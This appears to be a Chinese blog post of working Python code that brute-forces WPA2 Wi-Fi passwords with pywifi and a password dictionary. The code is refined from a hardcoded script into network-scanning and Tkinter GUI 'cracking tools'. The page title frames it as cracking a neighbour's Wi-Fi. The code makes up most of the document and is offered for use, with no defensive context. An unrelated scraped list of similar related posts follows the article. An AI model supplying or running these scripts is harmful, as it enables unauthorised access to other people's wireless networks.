WIFI爆破

import pywifi
from pywifi import const
import time
import datetime# 测试连接,返回链接结果
def wifiConnect(pwd):# 抓取网卡接口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有连接ifaces.disconnect()time.sleep(1)wifistatus = ifaces.status()if wifistatus == const.IFACE_DISCONNECTED:# 创建WiFi连接文件profile = pywifi.Profile()# 要连接WiFi的名称profile.ssid = "Tr0e"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 调用密码profile.key = pwd# 删除所有连接过的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)ifaces.connect(tep_profile)# wifi连接时间time.sleep(2)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接")# 读取密码本
def readPassword():success = Falseprint("****************** WIFI破解 ******************")# 密码本路径path = "pwd.txt"# 打开文件file = open(path, "r")start = datetime.datetime.now()while True:try:pwd = file.readline()# 去除密码的末尾换行符pwd = pwd.strip('\n')bool = wifiConnect(pwd)if bool:print("[*] 密码已破解:", pwd)print("[*] WiFi已自动连接!!!")success = Truebreakelse:# 跳出当前循环,进行下一次循环print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd))except:continueend = datetime.datetime.now()if(success):print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))else:print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")exit(0)if __name__=="__main__":readPassword()

脚本优化

以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:

import pywifi
import time
from pywifi import const# WiFi扫描模块
def wifi_scan():# 初始化wifiwifi = pywifi.PyWiFi()# 使用第一个无线网卡interface = wifi.interfaces()[0]# 开始扫描interface.scan()for i in range(4):time.sleep(1)print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')print('\r扫描完成!\n' + '-' * 38)print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))# 扫描结果,scan_results()返回一个集,存放的是每个wifi对象bss = interface.scan_results()# 存放wifi名的集合wifi_name_set = set()for w in bss:# 解决乱码问题wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))wifi_name_set.add(wifi_name_and_signal)# 存入列表并按信号排序wifi_name_list = list(wifi_name_set)wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)num = 0# 格式化输出while num < len(wifi_name_list):print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))num += 1print('-' * 38)# 返回wifi列表return wifi_name_list# WIFI破解模块
def wifi_password_crack(wifi_name):# 字典路径wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")with open(wifi_dic_path, 'r') as f:# 遍历密码for pwd in f:# 去除密码的末尾换行符pwd = pwd.strip('\n')# 创建wifi对象wifi = pywifi.PyWiFi()# 创建网卡对象,为第一个wifi网卡interface = wifi.interfaces()[0]# 断开所有wifi连接interface.disconnect()# 等待其断开while interface.status() == 4:# 当其处于连接状态时,利用循环等待其断开pass# 创建连接文件(对象)profile = pywifi.Profile()# wifi名称profile.ssid = wifi_name# 需要认证profile.auth = const.AUTH_ALG_OPEN# wifi默认加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMP# wifi密码profile.key = pwd# 删除所有wifi连接文件interface.remove_all_network_profiles()# 设置新的wifi连接文件tmp_profile = interface.add_network_profile(profile)# 开始尝试连接interface.connect(tmp_profile)start_time = time.time()while time.time() - start_time < 1.5:# 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)if interface.status() == 4:print(f'\r连接成功!密码为:{pwd}')exit(0)else:print(f'\r正在利用密码 {pwd} 尝试破解。', end='')# 主函数
def main():# 退出标致exit_flag = 0# 目标编号target_num = -1while not exit_flag:try:print('WiFi万能钥匙'.center(35, '-'))# 调用扫描模块,返回一个排序后的wifi列表wifi_list = wifi_scan()# 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理choose_exit_flag = 0while not choose_exit_flag:try:target_num = int(input('请选择你要尝试破解的wifi:'))# 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入if target_num in range(len(wifi_list)):# 二次确认while not choose_exit_flag:try:choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))# 对用户输入进行小写处理,并判断if choose.lower() == 'y':choose_exit_flag = 1elif choose.lower() == 'n':break# 处理用户其它字母输入else:print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')# 处理用户非字母输入except ValueError:print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')# 退出破解if choose_exit_flag == 1:breakelse:print('请重新输入哦(*^▽^*)')except ValueError:print('只能输入数字哦o(* ̄︶ ̄*)o')# 密码破解,传入用户选择的wifi名称wifi_password_crack(wifi_list[target_num][1])print('-' * 38)exit_flag = 1except Exception as e:print(e)raise eif __name__ == '__main__':main()

上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供用户自主选择需要暴力破解的 WIFI,同时还可灵活指定暴力破解的字典,相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件。

图形化界面

下面基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本,实现友好的可视化 WIFI 暴力破解界面工具。

简单版UI

from tkinter import *
from pywifi import const
import pywifi
import time# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间
def wificonnect(str, wifiname):# 窗口无线对象wifi = pywifi.PyWiFi()# 抓取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的wifiifaces.disconnect()time.sleep(1)if ifaces.status() == const.IFACE_DISCONNECTED:# 创建wifi连接文件profile = pywifi.Profile()profile.ssid = wifiname# wifi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# wifi的密码profile.key = str# 网卡的开发profile.auth = const.AUTH_ALG_OPEN# 加密单元,这里需要写点加密单元否则无法连接profile.cipher = const.CIPHER_TYPE_CCMP# 删除所有的wifi文件ifaces.remove_all_network_profiles()# 设置新的连接文件tep_profile = ifaces.add_network_profile(profile)# 连接ifaces.connect(tep_profile)time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falsedef readPwd():# 获取wiif名称wifiname = entry.get().strip()path = r'./pwd.txt'file = open(path, 'r')while True:try:# 读取mystr = file.readline().strip()# 测试连接bool = wificonnect(mystr, wifiname)if bool:text.insert(END, '密码正确' + mystr)text.see(END)text.update()file.close()breakelse:text.insert(END, '密码错误' + mystr)text.see(END)text.update()except:continue# 创建窗口
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
# 标签
label = Label(root, text='输入要破解的WIFI名称:')
# 定位
label.grid()
# 输入控件
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# 列表控件
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# 按钮
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# 显示窗口
root.mainloop()

UI升级版

以上图形界面未允许选择密码字典,下面进行优化升级:

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # 在Gui中打开文件浏览
import tkinter.messagebox  # 打开tkiner的消息提醒框class MY_GUI():def __init__(self, init_window_name):self.init_window_name = init_window_name# 密码文件路径self.get_value = StringVar()  # 设置可变内容# 获取破解wifi账号self.get_wifi_value = StringVar()# 获取wifi密码self.get_wifimm_value = StringVar()# 抓取网卡接口self.wifi = pywifi.PyWiFi()# 抓取第一个无线网卡self.iface = self.wifi.interfaces()[0]# 测试链接断开所有链接self.iface.disconnect()time.sleep(1)  # 休眠1秒# 测试网卡是否属于断开状态assert self.iface.status() in \[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]def __str__(self):# 自动会调用的函数,返回自身的网卡return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())# 设置窗口def set_init_window(self):self.init_window_name.title("WIFI破解工具")self.init_window_name.geometry('+500+200')labelframe = LabelFrame(width=400, height=200, text="配置")  # 框架,以下对象都是对于labelframe中添加的labelframe.grid(column=0, row=0, padx=10, pady=10)self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)self.wifi_labelframe = LabelFrame(text="wifi列表")self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)# 定义树形结构与滚动条self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)self.wifi_tree.configure(yscrollcommand=self.vbar.set)# 表格的标题self.wifi_tree.column("a", width=50, anchor="center")self.wifi_tree.column("b", width=100, anchor="center")self.wifi_tree.column("c", width=100, anchor="center")self.wifi_tree.column("d", width=100, anchor="center")self.wifi_tree.heading("a", text="WiFiID")self.wifi_tree.heading("b", text="SSID")self.wifi_tree.heading("c", text="BSSID")self.wifi_tree.heading("d", text="signal")self.wifi_tree.grid(row=4, column=0, sticky=NSEW)self.wifi_tree.bind("<Double-1>", self.onDBClick)self.vbar.grid(row=4, column=1, sticky=NS)# 搜索wifidef scans_wifi_list(self):  # 扫描周围wifi列表# 开始扫描print("^_^ 开始扫描附近wifi...")self.iface.scan()time.sleep(15)# 在若干秒后获取扫描结果scanres = self.iface.scan_results()# 统计附近被发现的热点数量nums = len(scanres)print("数量: %s" % (nums))# 实际数据self.show_scans_wifi_list(scanres)return scanres# 显示wifi列表def show_scans_wifi_list(self, scans_res):for index, wifi_info in enumerate(scans_res):self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))# 添加密码文件目录def add_mm_file(self):self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)# Treeview绑定事件def onDBClick(self, event):self.sels = event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])# 读取密码字典,进行匹配def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander = open(self.getFilePath, "r", errors="ignore")while True:try:self.pwdStr = pwdfilehander.readline()if not self.pwdStr:breakself.bool1 = self.connect(self.pwdStr, self.get_wifissid)if self.bool1:self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)print(self.res)time.sleep(3)except:continue# 对wifi和密码进行匹配def connect(self, pwd_Str, wifi_ssid):# 创建wifi链接文件self.profile = pywifi.Profile()self.profile.ssid = wifi_ssid  # wifi名称self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元self.profile.key = pwd_Str  # 密码self.iface.remove_all_network_profiles()  # 删除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件self.iface.connect(self.tmp_profile)  # 链接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上isOK = Trueelse:isOK = Falseself.iface.disconnect()  # 断开time.sleep(1)# 检查断开状态assert self.iface.status() in \[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOKdef gui_start():init_window = Tk()ui = MY_GUI(init_window)print(ui)ui.set_init_window()init_window.mainloop()if __name__ == "__main__":gui_start()

以上基于 Python 的 GUI 图形界面开发库 Tkinter,实际上 Python 的 GUI 编程可以借助 PyQt5 来自动生成 UI 代码。

总结

本文学习了 Python 暴力破解 WIFI 密码的方法、以及 Python GUI 图形化编程的基础使用。

无论是暴力破解,还是跑字典,都是很基础的方法,实际要用这种方法破解 WIFI 密码,纯粹看运气了。

利用Python破解隔壁老王家的WiFi密码,学习到了!相关推荐

  1. 教你破解隔壁妹子wifi密码,成功率高达90%

    2019独角兽企业重金招聘Python工程师标准>>> 破解wifi密码听起来很复杂,实际上也不是非常的复杂,今天教大家如何破解隔壁妹子的wifi密码. 首先声明:本教程只用于技术交 ...

  2. 震惊!手把手教你用Python破解邻家小妹wifi密码

    今天给大家分享一个,使用Python破解wifi密码的代码 这个代码也是非常简单,用Python中的pywifi库 所以需要在DOS命令下安装这个库 同样使用pip install pywifi 需要 ...

  3. 手把手教你用Python破解邻家小妹wifi密码

    今天给大家分享一个 使用Python 破解wifi密码的代码 这个代码也是非常简单 用Python中的pywifi库 所以需要在DOS命令下安装这个库 同样使用pip install pywifi 很 ...

  4. 利用python和DOS获取wifi密码

    CMD命令获取wifi密码 通过python批量获取连接过的wifi密码 CMD命令获取电脑里配置过的wifi信息 设定一个场景,假如我忘记了自家的wifi密码,这时候小伙伴来家里跟我开黑,问我wif ...

  5. 小案例:利用Python获取Windows电脑WiFi密码

    一.需求: 电脑上忘记wifi密码,直接用命令行便可查看所有的wifi密码 二.逻辑: 1.提取windows上所有的wifi名称 2.每一个wifi的信息存储在一个字典里 3.判断wifi密码是否存 ...

  6. 利用 Python 破解 ZIP 或 RAR 文件密码

    利用 Python 破解 ZIP 或 RAR 文件密码 破解原理 实验环境 库 利用 Pipenv 安装 rarfile 编码 准备密码本 读取压缩文件 尝试解压 暴力破解 程序入口 使用 运行结果: ...

  7. python查看手机上wifi密码_忘了wifi密码怎么办?用Python查!

    经常遇到这样一种情况:家里来了客人,问你要wifi密码. 尴尬的是,你忘了wifi密码. 不过你的其他设备已经连接过WiFi,这时候你怎么利用这些设备重新获取WiFi密码呢? 方式一:登录路由器管理页 ...

  8. 数据载入、存储及文件格式——《利用python数据分析》第六章学习

    数据载入.存储及文件格式--<利用python数据分析>第六章学习 前言 这次带来第六章的学习笔记,希望这次效率高点,快点写完. 代码环境这次小升级,Pycharm 2021.3 + An ...

  9. 思路+源码,利用Python破解WIFI密码详解,100M的字典已备好

    前言 WIFI破解,Python程序员必学技能.WIFI已经完全普及,现在Python程序员没网,走到哪里都不怕! 很多人学习python,不知道从何学起. 很多人学习python,掌握了基本语法过后 ...

  10. 利用Python暴力破解邻居家WiFi密码

    如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀!关注.点赞.收藏.评论. 文章目录 一.编写代码 二.展示测试结果 三.测试 四.生成密码本(建议自己找一个密码本) 一.编写代码 在桌面 ...

最新文章

  1. 格式字符串语法,摘取自JDK6
  2. SpringBoot中使用AOP打印接口日志的方法(转载)
  3. Verilog UDP(User Defined Primitives)
  4. 开发者盛宴!Apache HBasecon 峰会来北京了,速来免费报名
  5. Span元素的 width属性 无效果原因及解决方案
  6. 批量html转换成excel,Excel批量转为Html,Html转换成Excel - 软件教程网
  7. python 整数输出 d f_如何将数字(10,11,12,13,14,15)分配给Python 3中的字母(A,B,C,D,E,F)?...
  8. 【Matlab学习笔记】【数学形态学】分水岭分割算法
  9. 《Java大学教程》—第24章 Java的背景
  10. 微信公众号模板消息推送
  11. 推荐几款非常好用且免费的在线绘图工具
  12. 服务器 intel cpu系列,Intel CPU产品系列有哪些
  13. 【计算机网络 (谢希仁) 习题题解】第5章 运输层 (5)——TCP的运输连接管理
  14. em在聊天中是什么意思_EM是什么意思?有几种解释?
  15. odoo14调用akshare库报错:Fatal process out of memory: Failed to reserve memory for new V8 Isolate
  16. Composer安装包
  17. 浅谈计算机领域及职业憧憬
  18. SQL_数据库表的操作
  19. Python爬虫-CSDN博客排行榜数据爬取
  20. firefly-rk3288j开发板--linux NFC实验之RC522驱动

热门文章

  1. PHP下载远程图片的3个方法
  2. 排序算法之python实现(上)
  3. 车牌号正则校验(新能源)
  4. 初识Kinect之二
  5. Kinect传感器的硬件组成
  6. word文档如何去掉光标
  7. 免费文献下载地址汇总
  8. 神经网络,多输入多输出
  9. 记忆翻牌游戏——react算法学习
  10. 机器人开发--Odoo(OpenERP)